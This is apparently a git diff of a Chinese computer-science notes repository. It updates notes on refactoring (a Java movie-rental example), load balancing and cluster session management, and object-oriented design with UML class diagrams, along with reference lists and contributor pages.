- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014. - Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.
- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001. - 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.
- Bryant, R. E., & OHallaron, D. R. (2004). 深入理解计算机系统. - Bryant, R. E., & OHallaron, D. R. (2004). 深入理解计算机系统.
- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.
- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/) - [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)
- [进程间的几种通信方式](http://blog.csdn.net/yufaw/article/details/7409596)
- [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html) - [Operating-System Structures](https://www.cs.uic.edu/\~jbell/CourseNotes/OperatingSystems/2_Structures.html)
- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php) - [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)
- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1) - [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)
- [Decoding UCS Invicta Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -107,6 +107,7 @@
* [10. 塑造模板函数](#10-塑造模板函数) * [10. 塑造模板函数](#10-塑造模板函数)
* [11. 以委托取代继承](#11-以委托取代继承) * [11. 以委托取代继承](#11-以委托取代继承)
* [12. 以继承取代委托](#12-以继承取代委托) * [12. 以继承取代委托](#12-以继承取代委托)
* [重构练习](#重构练习)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
@ -123,24 +124,22 @@
影片出租店应用程序,需要计算每位顾客的消费金额。 影片出租店应用程序,需要计算每位顾客的消费金额。
包括三个类Movie、Rental 和 CustomerRental 包含租赁的 Movie 以及天数 包括三个类Movie、Rental 和 Customer。
<div align="center"> <img src="../pics//c2f0c8e2-da66-498c-a38f-e1176abee29e.png"/> </div><br> <div align="center"> <img src="../pics//c2f0c8e2-da66-498c-a38f-e1176abee29e.png"/> </div><br>
最开始的实现是把所有的计费代码都放在 Customer 类中。 最开始的实现是把所有的计费代码都放在 Customer 类中。可以发现,该代码没有使用 Customer 类中的任何信息,更多的是使用 Rental 类的信息,因此第一个可以重构的点就是把具体计费的代码移到 Rental 类中,然后 Customer 类的 getTotalCharge() 方法只需要调用 Rental 类中的计费方法即可。
可以发现,该代码没有使用 Customer 类中的任何信息,更多的是使用 Rental 类的信息,因此第一个可以重构的点就是把具体计费的代码移到 Rental 类中,然后 Customer 类的 getTotalCharge() 方法只需要调用 Rental 类中的计费方法即可。
```java ```java
public class Customer { class Customer {
private List<Rental> rentals = new ArrayList<>(); private List<Rental> rentals = new ArrayList<>();
public void addRental(Rental rental) { void addRental(Rental rental) {
rentals.add(rental); rentals.add(rental);
} }
public double getTotalCharge() { double getTotalCharge() {
double totalCharge = 0.0; double totalCharge = 0.0;
for (Rental rental : rentals) { for (Rental rental : rentals) {
switch (rental.getMovie().getMovieType()) { switch (rental.getMovie().getMovieType()) {
@ -151,7 +150,6 @@ public class Customer {
totalCharge += rental.getDaysRented() * 2; totalCharge += rental.getDaysRented() * 2;
break; break;
case Movie.Type3: case Movie.Type3:
totalCharge += 1.5;
totalCharge += rental.getDaysRented() * 3; totalCharge += rental.getDaysRented() * 3;
break; break;
} }
@ -159,42 +157,42 @@ public class Customer {
return totalCharge; return totalCharge;
} }
} }
``` ```
```java ```java
public class Rental { class Rental {
private int daysRented; private int daysRented;
private Movie movie; private Movie movie;
public Rental(int daysRented, Movie movie) { Rental(int daysRented, Movie movie) {
this.daysRented = daysRented; this.daysRented = daysRented;
this.movie = movie; this.movie = movie;
} }
public Movie getMovie() { Movie getMovie() {
return movie; return movie;
} }
public int getDaysRented() { int getDaysRented() {
return daysRented; return daysRented;
} }
} }
``` ```
```java ```java
public class Movie { class Movie {
public static final int Type1 = 0, Type2 = 1, Type3 = 2; static final int Type1 = 0, Type2 = 1, Type3 = 2;
private int type; private int type;
public Movie(int type) { Movie(int type) {
this.type = type; this.type = type;
} }
public int getMovieType() { int getMovieType() {
return type; return type;
} }
} }
@ -202,6 +200,7 @@ public class Movie {
```java ```java
public class App { public class App {
public static void main(String[] args) { public static void main(String[] args) {
Customer customer = new Customer(); Customer customer = new Customer();
Rental rental1 = new Rental(1, new Movie(Movie.Type1)); Rental rental1 = new Rental(1, new Movie(Movie.Type1));
@ -223,9 +222,9 @@ public class App {
<div align="center"> <img src="../pics//41026c79-dfc1-40f7-85ae-062910fd272b.png"/> </div><br> <div align="center"> <img src="../pics//41026c79-dfc1-40f7-85ae-062910fd272b.png"/> </div><br>
但是我们需要允许一部影片可以在运行过程中改变其所属的分类,但是上述的继承方案却不可行,因为一个对象所属的类在编译过程就确定了。 有一条设计原则指示应该多用组合少用继承,这是因为组合比继承具有更高的灵活性。例如上面的继承方案,一部电影要改变它的计费方式,就要改变它所属的类,但是对象所属的类在编译时期就确定了,无法在运行过程中改变。(运行时多态可以在运行过程中改变一个父类引用指向的子类对象,但是无法改变一个对象所属的类。)
为了解决上述的问题,需要使用策略模式。引入 Price 类它有多种实现。Movie 组合了一个 Price 对象,并且在运行时可以改变组合的 Price 对象,从而使得它的计费方式发生改变。 策略模式就是使用组合替代继承的一种解决方案。引入 Price 类它有多种实现。Movie 组合了一个 Price 对象,并且在运行时可以改变组合的 Price 对象,从而使得它的计费方式发生改变。
<div align="center"> <img src="../pics//8c0b3ae1-1087-46f4-8637-8d46b4ae659c.png"/> </div><br> <div align="center"> <img src="../pics//8c0b3ae1-1087-46f4-8637-8d46b4ae659c.png"/> </div><br>
@ -235,6 +234,107 @@ public class App {
<div align="center"> <img src="../pics//3ca58a41-8794-49c1-992e-de5d579a50d1.png"/> </div><br> <div align="center"> <img src="../pics//3ca58a41-8794-49c1-992e-de5d579a50d1.png"/> </div><br>
重构后的代码:
```java
class Customer {
private List<Rental> rentals = new ArrayList<>();
void addRental(Rental rental) {
rentals.add(rental);
}
double getTotalCharge() {
double totalCharge = 0.0;
for (Rental rental : rentals) {
totalCharge += rental.getCharge();
}
return totalCharge;
}
}
```
```java
class Rental {
private int daysRented;
private Movie movie;
Rental(int daysRented, Movie movie) {
this.daysRented = daysRented;
this.movie = movie;
}
double getCharge() {
return daysRented * movie.getCharge();
}
}
```
```java
interface Price {
double getCharge();
}
```
```java
class Price1 implements Price {
@Override
public double getCharge() {
return 1;
}
}
```
```java
class Price2 implements Price {
@Override
public double getCharge() {
return 2;
}
}
```
```java
class Price3 implements Price {
@Override
public double getCharge() {
return 3;
}
}
```
```java
class Movie {
private Price price;
Movie(Price price) {
this.price = price;
}
double getCharge() {
return price.getCharge();
}
}
```
```java
class App {
public static void main(String[] args) {
Customer customer = new Customer();
Rental rental1 = new Rental(1, new Movie(new Price1()));
Rental rental2 = new Rental(2, new Movie(new Price2()));
customer.addRental(rental1);
customer.addRental(rental2);
System.out.println(customer.getTotalCharge());
}
}
```
# 二、重构原则 # 二、重构原则
## 定义 ## 定义
@ -265,9 +365,7 @@ public class App {
## 修改接口 ## 修改接口
如果重构手法改变了已发布的接口,就必须维护新旧两个接口。 如果重构手法改变了已发布的接口,就必须维护新旧两个接口。可以保留旧接口,让旧接口去调用新接口,并且使用 Java 提供的 @deprecation 将旧接口标记为弃用。
可以保留旧接口,让旧接口去调用新接口,并且使用 Java 提供的 @deprecation 将旧接口标记为弃用。
可见修改接口特别麻烦,因此除非真有必要,否则不要发布接口,并且不要过早发布接口。 可见修改接口特别麻烦,因此除非真有必要,否则不要发布接口,并且不要过早发布接口。
@ -467,7 +565,7 @@ Extract Method 会把很多参数和临时变量都当做参数,可以用 Repl
Java 可以使用 Junit 进行单元测试。 Java 可以使用 Junit 进行单元测试。
测试应该能够完全自动化,并能检查测试的结果。Junit 可以做到。 测试应该能够完全自动化,并能检查测试的结果。
小步修改,频繁测试。 小步修改,频繁测试。
@ -1320,6 +1418,10 @@ public Manager(String name, String id, int grade) {
让委托类继承受托类。 让委托类继承受托类。
# 重构练习
- [Refactoring Kata](https://github.com/aikin/refactoring-kata)
# 参考资料 # 参考资料
- MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011. - MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.

202
notes/集群.md Normal file
View File

@ -0,0 +1,202 @@
<!-- GFM-TOC -->
* [一、负载均衡](#一负载均衡)
* [负载均衡算法](#负载均衡算法)
* [转发实现](#转发实现)
* [二、集群下的 Session 管理](#二集群下的-session-管理)
* [Sticky Session](#sticky-session)
* [Session Replication](#session-replication)
* [Session Server](#session-server)
<!-- GFM-TOC -->
# 一、负载均衡
集群中的应用服务器(节点)通常被设计成无状态,用户可以请求任何一个应用服务器。
负载均衡器会根据集群中每个节点的负载情况,将用户请求转发到合适的节点上。
负载均衡器可以用来实现高可用以及伸缩性:
- 高可用:当某个节点故障时,负载均衡器会将用户请求转发到另外的节点上,从而保证所有服务持续可用;
- 伸缩性:根据系统整体负载情况,可以很容易地添加移除节点。
负载均衡运行过程包含两个部分:
1. 根据负载均衡算法得到转发的节点;
2. 进行转发。
## 负载均衡算法
### 1. 轮询Round Robin
轮询算法把每个请求轮流发送到每个服务器上。
下图中,一共有 6 个客户端产生了 6 个请求,这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。(1, 3, 5) 的请求会被发送到服务器 1(2, 4, 6) 的请求会被发送到服务器 2。
<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
该算法比较适合每个服务器的性能差不多的场景,如果有性能存在差异的情况下,那么性能较差的服务器可能无法承担过大的负载(下图的 Server 2
<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
### 2. 加权轮询Weighted Round Robbin
加权轮询是在轮询的基础上,根据服务器的性能差异,为服务器赋予一定的权值,性能高的服务器分配更高的权值。
例如下图中,服务器 1 被赋予的权值为 5服务器 2 被赋予的权值为 1那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1(6) 请求会被发送到服务器 2。
<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
### 3. 最少连接least Connections
由于每个请求的连接时间不一样,使用轮询或者加权轮询算法的话,可能会让一台服务器当前连接数过大,而另一台服务器的连接过小,造成负载不均衡。
例如下图中,(1, 3, 5) 请求会被发送到服务器 1但是 (1, 3) 很快就断开连接,此时只有 (5) 请求连接服务器 1(2, 4, 6) 请求被发送到服务器 2只有 (2) 的连接断开,此时 (6, 4) 请求连接服务器 2。该系统继续运行时服务器 2 会承担过大的负载。
<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
最少连接算法就是将请求发送给当前最少连接数的服务器上。
例如下图中,服务器 1 当前连接数最小,那么新到来的请求 6 就会被发送到服务器 1 上。
<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
### 4. 加权最少连接Weighted Least Connection
在最少连接的基础上,根据服务器的性能为每台服务器分配权重,再根据权重计算出每台服务器能处理的连接数。
<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
### 5. 随机算法Random
把请求随机发送到服务器上。
和轮询算法类似,该算法比较适合服务器性能差不多的场景。
<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
### 6. 源地址哈希法 (IP Hash)
源地址哈希通过对客户端 IP 计算哈希值之后,再对服务器数量取模得到目标服务器的序号。
可以保证同一 IP 的客户端的请求会转发到同一台服务器上用来实现会话粘滞Sticky Session
<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
## 转发实现
### 1. HTTP 重定向
HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后,将该地址写入 HTTP 重定向报文中,状态码为 302。客户端收到重定向报文之后需要重新向服务器发起请求。
缺点:
- 需要两次请求,因此访问延迟比较高;
- HTTP 负载均衡器处理能力有限,会限制集群的规模。
该负载均衡转发的缺点比较明显,实际场景中很少使用它。
<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
### 2. DNS 域名解析
在 DNS 解析域名的同时使用负载均衡算法计算服务器 IP 地址。
优点:
- DNS 能够根据地理位置进行域名解析,返回离用户最近的服务器 IP 地址。
缺点:
- 由于 DNS 具有多级结构,每一级的域名记录都可能被缓存,当下线一台服务器需要修改 DNS 记录时,需要过很长一段时间才能生效。
大型网站基本使用了 DNS 做为第一级负载均衡手段,然后在内部使用其它方式做第二级负载均衡。也就是说,域名解析的结果为内部的负载均衡服务器 IP 地址。
<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
### 3. 反向代理服务器
反向代理服务器位于源服务器前面,用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等,同时也可以用来做为负载均衡服务器。
在这种负载均衡转发方式下,客户端不直接请求源服务器,因此源服务器不需要外部 IP 地址,而反向代理需要配置内部和外部两套 IP 地址。
优点:
- 与其它功能集成在一起,部署简单。
缺点:
- 所有请求和响应都需要经过反向代理服务器,它可能会成为性能瓶颈。
### 4. 网络层
在操作系统内核进程获取网络数据包,根据负载均衡算法计算源服务器的 IP 地址,并修改请求数据包的目的 IP 地址,最后进行转发。
源服务器返回的响应也需要经过负载均衡服务器,通常是让负载均衡服务器同时作为集群的网关服务器来实现。
优点:
- 在内核进程中进行处理,性能比较高。
缺点:
- 和反向代理一样,所有的请求和响应都经过负载均衡服务器,会成为性能瓶颈。
### 5. 链路层
在链路层根据负载均衡算法计算源服务器的 MAC 地址,并修改请求数据包的目的 MAC 地址,并进行转发。
通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致,从而不需要修改 IP 地址就可以进行转发。也正因为 IP 地址一样,所以源服务器的响应不需要转发回负载均衡服务器,可以直接转发给客户端,避免了负载均衡服务器的成为瓶颈。
这是一种三角传输模式,被称为直接路由。对于提供下载和视频服务的网站来说,直接路由避免了大量的网络传输数据经过负载均衡服务器。
这是目前大型网站使用最广负载均衡转发方式,在 Linux 平台可以使用的负载均衡服务器为 LVSLinux Virtual Server
参考:
- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
# 二、集群下的 Session 管理
一个用户的 Session 信息如果存储在一个服务器上,那么当负载均衡器把用户的下一个请求转发到另一个服务器,由于服务器没有用户的 Session 信息,那么该用户就需要重新进行登录等操作。
## Sticky Session
需要配置负载均衡器,使得一个用户的所有请求都路由到同一个服务器,这样就可以把用户的 Session 存放在该服务器中。
缺点:
- 当服务器宕机时,将丢失该服务器上的所有 Session。
<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
## Session Replication
在服务器之间进行 Session 同步操作,每个服务器都有所有用户的 Session 信息,因此用户可以向任何一个服务器进行请求。
缺点:
- 占用过多内存;
- 同步过程占用网络带宽以及服务器处理器时间。
<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
## Session Server
使用一个单独的服务器存储 Session 数据,可以使用传统的 MySQL也使用 Redis 或者 Memcached 这种内存型数据库。
优点:
- 为了使得大型网站具有伸缩性集群中的应用服务器通常需要保持无状态那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储,从而保证了应用服务器的无状态。
缺点:
- 需要去实现存取 Session 的代码。
<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
参考:
- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)

View File

@ -1,23 +1,269 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、设计原则](#一设计原则) * [一、三大特性](#一三大特性)
* [S.O.L.I.D](#solid)
* [其他常见原则](#其他常见原则)
* [二、三大特性](#二三大特性)
* [封装](#封装) * [封装](#封装)
* [继承](#继承) * [继承](#继承)
* [多态](#多态) * [多态](#多态)
* [、类图](#类图) * [、类图](#类图)
* [泛化关系 (Generalization)](#泛化关系-generalization) * [泛化关系 (Generalization)](#泛化关系-generalization)
* [实现关系 (Realization)](#实现关系-realization) * [实现关系 (Realization)](#实现关系-realization)
* [聚合关系 (Aggregation)](#聚合关系-aggregation) * [聚合关系 (Aggregation)](#聚合关系-aggregation)
* [组合关系 (Composition)](#组合关系-composition) * [组合关系 (Composition)](#组合关系-composition)
* [关联关系 (Association)](#关联关系-association) * [关联关系 (Association)](#关联关系-association)
* [依赖关系 (Dependency)](#依赖关系-dependency) * [依赖关系 (Dependency)](#依赖关系-dependency)
* [三、设计原则](#三设计原则)
* [S.O.L.I.D](#solid)
* [其他常见原则](#其他常见原则)
* [参考资料](#参考资料) * [参考资料](#参考资料)
<!-- GFM-TOC --> <!-- GFM-TOC -->
# 一、设计原则 # 一、三大特性
## 封装
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
优点:
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
```java
public class Person {
private String name;
private int gender;
private int age;
public String getName() {
return name;
}
public String getGender() {
return gender == 0 ? "man" : "woman";
}
public void work() {
if (18 <= age && age <= 50) {
System.out.println(name + " is working very hard!");
} else {
System.out.println(name + " can't work any more!");
}
}
}
```
## 继承
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal从而获得 Animal 非 private 的属性和方法。
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**
```java
Animal animal = new Cat();
```
## 多态
多态分为编译时多态和运行时多态:
- 编译时多态主要指方法的重载
- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
运行时多态有三个条件:
- 继承
- 覆盖(重写)
- 向上转型
下面的代码中乐器类Instrument有两个子类Wind 和 Percussion它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
```java
public class Instrument {
public void play() {
System.out.println("Instument is playing...");
}
}
public class Wind extends Instrument {
public void play() {
System.out.println("Wind is playing...");
}
}
public class Percussion extends Instrument {
public void play() {
System.out.println("Percussion is playing...");
}
}
public class Music {
public static void main(String[] args) {
List<Instrument> instruments = new ArrayList<>();
instruments.add(new Wind());
instruments.add(new Percussion());
for(Instrument instrument : instruments) {
instrument.play();
}
}
}
```
# 二、类图
以下类图使用 [PlantUML](https://www.planttext.com/) 绘制更多语法及使用请参考http://plantuml.com/ 。
## 泛化关系 (Generalization)
用来描述继承关系,在 Java 中使用 extends 关键字。
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmJyrBBKh.png"/> </div><br>
```text
@startuml
title Generalization
class Vihical
class Car
class Trunck
Vihical <|-- Car
Vihical <|-- Trunck
@enduml
```
## 实现关系 (Realization)
用来实现一个接口,在 Java 中使用 implement 关键字。
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILK8IatCoQn.png"/> </div><br>
```text
@startuml
title Realization
interface MoveBehavior
class Fly
class Run
MoveBehavior <|.. Fly
MoveBehavior <|.. Run
@enduml
```
## 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmJ4ylIar.png"/> </div><br>
```text
@startuml
title Aggregation
class Computer
class Keyboard
class Mouse
class Screen
Computer o-- Keyboard
Computer o-- Mouse
Computer o-- Screen
@enduml
```
## 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmpiyjo2_.png"/> </div><br>
```text
@startuml
title Composition
class Company
class DepartmentA
class DepartmentB
Company *-- DepartmentA
Company *-- DepartmentB
@enduml
```
## 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
<div align="center"> <img src="../pics//SoWkIImgAStDuU8goIp9ILLmB2xEJyv.png"/> </div><br>
```text
@startuml
title Association
class School
class Student
School "1" - "n" Student
@enduml
```
## 依赖关系 (Dependency)
和关联关系不同的是依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
- A 类是 B 类方法的局部变量;
- A 类是 B 类方法当中的一个参数;
- A 类向 B 类发送消息,从而影响 B 类发生变化。
<div align="center"> <img src="../pics//LOun2W9134NxVugmbJPp15d4LalxC4O.png"/> </div><br>
```text
@startuml
title Dependency
class Vihicle {
move(MoveBehavior)
}
interface MoveBehavior {
move()
}
note "MoveBehavior.move()" as N
Vihicle ..> MoveBehavior
Vihicle .. N
@enduml
```
# 三、设计原则
## S.O.L.I.D ## S.O.L.I.D
@ -89,7 +335,7 @@
### 2. 合成复用原则 ### 2. 合成复用原则
尽量使用对象组合,而不是继承来达到复用的目的。 尽量使用对象组合,而不是通过继承来达到复用的目的。
### 3. 共同封闭原则 ### 3. 共同封闭原则
@ -103,145 +349,6 @@
包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。 包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。
# 二、三大特性
## 封装
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外接口使之与外部发生联系。用户无需知道对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
优点:
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被程序员理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
```java
public class Person {
private String name;
private int gender;
private int age;
public String getName() {
return name;
}
public String getGender() {
return gender == 0 ? "man" : "woman";
}
public void work() {
if (18 <= age && age <= 50) {
System.out.println(name + " is working very hard!");
} else {
System.out.println(name + " can't work any more!");
}
}
}
```
## 继承
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal从而获得 Animal 非 private 的属性和方法。
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型**
```java
Animal animal = new Cat();
```
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
## 多态
多态分为编译时多态和运行时多态。编译时多态主要指方法的重载,运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定。
运行时多态有三个条件:
- 继承
- 覆盖(重写)
- 向上转型
下面的代码中乐器类Instrument有两个子类Wind 和 Percussion它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
```java
public class Instrument {
public void play() {
System.out.println("Instument is playing...");
}
}
public class Wind extends Instrument {
public void play() {
System.out.println("Wind is playing...");
}
}
public class Percussion extends Instrument {
public void play() {
System.out.println("Percussion is playing...");
}
}
public class Music {
public static void main(String[] args) {
List<Instrument> instruments = new ArrayList<>();
instruments.add(new Wind());
instruments.add(new Percussion());
for(Instrument instrument : instruments) {
instrument.play();
}
}
}
```
# 三、类图
## 泛化关系 (Generalization)
用来描述继承关系,在 Java 中使用 extends 关键字。
<div align="center"> <img src="../pics//5341d726-ffde-4d2a-a000-46597bcc9c5a.png"/> </div><br>
## 实现关系 (Realization)
用来实现一个接口,在 Java 中使用 implement 关键字。
<div align="center"> <img src="../pics//123bdf81-1ef5-48a9-a08c-2db97057b4d2.png"/> </div><br>
## 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
<div align="center"> <img src="../pics//1be8b4b0-cc7a-44d7-9c77-85be37b76f7d.png"/> </div><br>
## 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
<div align="center"> <img src="../pics//eb4a7007-d437-4740-865d-672973effe25.png"/> </div><br>
## 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
<div align="center"> <img src="../pics//518f16f2-a9f7-499a-98e1-f1dbb37b5a9a.png"/> </div><br>
## 依赖关系 (Dependency)
和关联关系不同的是依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
- A 类是 B 类中的(某中方法的)局部变量;
- A 类是 B 类方法当中的一个参数;
- A 类向 B 类发送消息,从而影响 B 类发生变化;
<div align="center"> <img src="../pics//c7d4956c-9988-4a10-a704-28fdae7f3d28.png"/> </div><br>
# 参考资料 # 参考资料
- Java 编程思想 - Java 编程思想

15
other/Group.md Normal file
View File

@ -0,0 +1,15 @@
创建交流群的主要目的是为了给大家提供一个交流平台,方便大家在学习的过程中互相讨论。
这个交流群不是一个笔者的问题回答群,我更希望大家能够愿意积极回答,我相信提问和回答的过程都可以提高大家对知识的掌握程度。
因为笔者白天要上班,因此不能及时进行回复,大部分时间会处于潜水状态。
至于交流群和 Issue 有什么区别,主要是两方面:一是交流群实时性高一些,二是交流群会更活跃一些。
另外Issue 主要是用来发布一些项目中的错误和一些改进建议,当然也可以发布一些可以讨论的问题。
交流群可以讨论的内容比较广,例如在阅读本项目过程中不理解的地方可以在交流群中寻求别人的帮助、新技术的讨论、招聘信息、学习和工作的感受等等。
交流群不讨论政治,不讨论有争议性的话题,不发表仇视言论,不传播谣言,不发布广告(招聘信息之类的可以)。
</br> <div align="center"><img src="group.png" width="300px"></div> </br>

BIN
other/LogoMakr_0zpEzN.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 33 KiB

3
other/README.md Normal file
View File

@ -0,0 +1,3 @@
- 其他人添加的全新内容
- 主页 README 引用的图片
- 微信群描述文件

BIN
other/group.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

BIN
other/group.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 149 KiB

37
other/leetcode 总结.md Normal file
View File

@ -0,0 +1,37 @@
# LeetCode 面试必备
- 💪 就是干如果你觉得有帮助请点个star谢谢
> **欢迎任何人参与和完善:一个人可以走的很快,但是一群人却可以走的更远**
## LeetCode 习题集合
* [LeetCode 解题集合](https://github.com/apachecn/LeetCode/tree/master/docs/Leetcode_Solutions)
## 模版要求
> 提交PR基本要求满足任意一种即可
* 1. 不一样的思路
* 2. 优化时间复杂度和空间复杂度或者解决题目的Follow up
* 3. 有意义的简化代码
* 4. 未提交过的题目
> **案例模版**
[模版007. Reverse Integer 反转整数](https://github.com/apachecn/LeetCode/tree/master/docs/Leetcode_Solutions/007._Reverse_Integer.md)
## 项目贡献者
> 项目发起人
* [@Lisanaaa](https://github.com/Lisanaaa)
* [@片刻](https://github.com/jiangzhonglian)
> 贡献者(欢迎大家来追加)
* [@Lisanaaa](https://github.com/Lisanaaa)
* [@片刻](https://github.com/jiangzhonglian)
* [@小瑶](https://github.com/chenyyx)

View File

@ -0,0 +1,483 @@
use fuxi;
CREATE TABLE STUDENT
(
